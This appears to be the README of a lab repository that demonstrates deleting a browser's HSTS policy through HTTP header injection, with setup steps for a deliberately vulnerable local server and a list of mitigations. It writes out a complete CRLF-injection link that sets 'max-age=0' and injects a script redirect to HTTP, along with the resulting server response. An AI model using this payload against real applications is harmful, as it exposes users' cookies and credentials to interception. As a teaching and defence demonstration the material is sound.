The HTTP Strict Transport Security (HSTS) header is meant to secure browsing, by forcing the browser to use HTTPS instead of HTTP.
Browsers cache the freshest HSTS policy information on behalf of an HSTS host see RFC6797 Section 5.3.
The header Strict-Transport-Security: max-age=0
deletes the HSTS policy for the given host.
This can be exploited when a web application has an HTTP header injection vulnerability, by deleting the HSTS policy and redirecting the victim to HTTP.
A cookie without the secure-flag or other sensitive data, like the authorization header, will be transmitted without encryption.
This repository demonstrates the attack by supplying a vulnerable web server.
In order to exploit the vulnerability, a victim must click a link of the following form:
https://hsts.local/vuln?param=value%0d%0aStrict-Transport-Security%3a+max-age%3d0%0d%0a%0d%0a<script>location=%22http://hsts.local/%3fcb%3d3401833577%22</script>
This decodes to:
value
Strict-Transport-Security: max-age=0
<script>location="http://hsts.local/?cb=3401833577"</script>
This value, including newline characters, is returned in the vulnerable header X-Vulnerable-Header
of the server. The entire response looks like this:
HTTP/1.1 200 OK
Server: Werkzeug/2.2.3 Python/3.8.10
Date: Sun, 19 Mar 2023 21:43:48 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 73
X-Vulnerable-Header: param=value
Strict-Transport-Security: max-age=0
<script>location="http://hsts.local/?cb=3401833577"</script>
Strict-Transport-Security: max-age=31536000
Connection: close
<html><head><title>Title</title></head><body>Just some HTML</body></html>
The cache buster is used to prevent browsers from returning cached responses.
- Prevent HTTP header injection by filtering new line characters.
- Send the HSTS header prior to any other headers.
- Set the cookie with the
Secure
flag to prevent transmission via HTTP.
Clone the repository and install the requirements.
git clone git@github.com:KwnyPwny/hsts-header-injection.git
cd hsts-header-injection
python3 -m venv env
source env/bin/activate
pip install -r requirements.txt
Modern browsers only obey HSTS headers when the web servers deliver valid certificates. Self-signed certificates do not seem to be enough in some cases. Thus we need to create a certificate authority (CA) first, create a certificate signing request for hsts.local, sign the certificate as CA and trust the CA in our browser.
Create a directory for certificates:
mkdir certs && cd certs
Create a CA:
openssl genrsa -aes256 -out my-ca.key 4096
openssl req -x509 -new -nodes -key my-ca.key -sha256 -days 1826 -out my-ca.crt
Create a certificate signing request:
openssl req -new -nodes -out hsts.local.csr -newkey rsa:4096 -keyout hsts.local.key
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:hsts.local
Email Address []:
Sign the certificate:
openssl x509 -req -in hsts.local.csr -CA my-ca.crt -CAkey my-ca.key -CAcreateserial -out hsts.local.crt -days 365 -sha256
Add hsts.local
to your /etc/hosts
:
127.0.0.1 localhost hsts.local
Search the browser's settings for cert
or follow these instructions:
-
Firefox (v111): Settings -> Privacy & Security -> Certificates -> View Certificates... -> Authorities -> Import... -> hsts-header-injection/certs/my-ca.crt
-
Chromium (v111): Settings -> Privacy & Security -> Security -> Manage certificates -> Authorities -> Import -> hsts-header-injection/certs/my-ca.crt
-
Start both web servers:
sudo env "PATH=$PATH" python http-server.py sudo env "PATH=$PATH" python https-server.py
-
Empty browser history to reset HSTS entries.
-
Recognize that you receive a 301 to
https://hsts.local/
as no HSTS header is set. Also recognized that a secret cookie is returned in the server's response. -
Click
http://hsts.local?cb=...
with the cache buster value to check whether HSTS is working. Chromium reports an internal redirect (307). Firefox only shows the HTTPS request. -
Click or copy&paste the evil link. It will inject an HSTS header with
max-age=0
to delete the HSTS entry. Afterwards it will redirect the user tohttp://hsts.local?cb=...
Note that an HTTP request is sent via HTTP that contains the secret cookie.
-
When sniffing the traffic with Wireshark, you can see that the cookie is indeed transmitted in plain text.
Copyright 2023, Konstantin.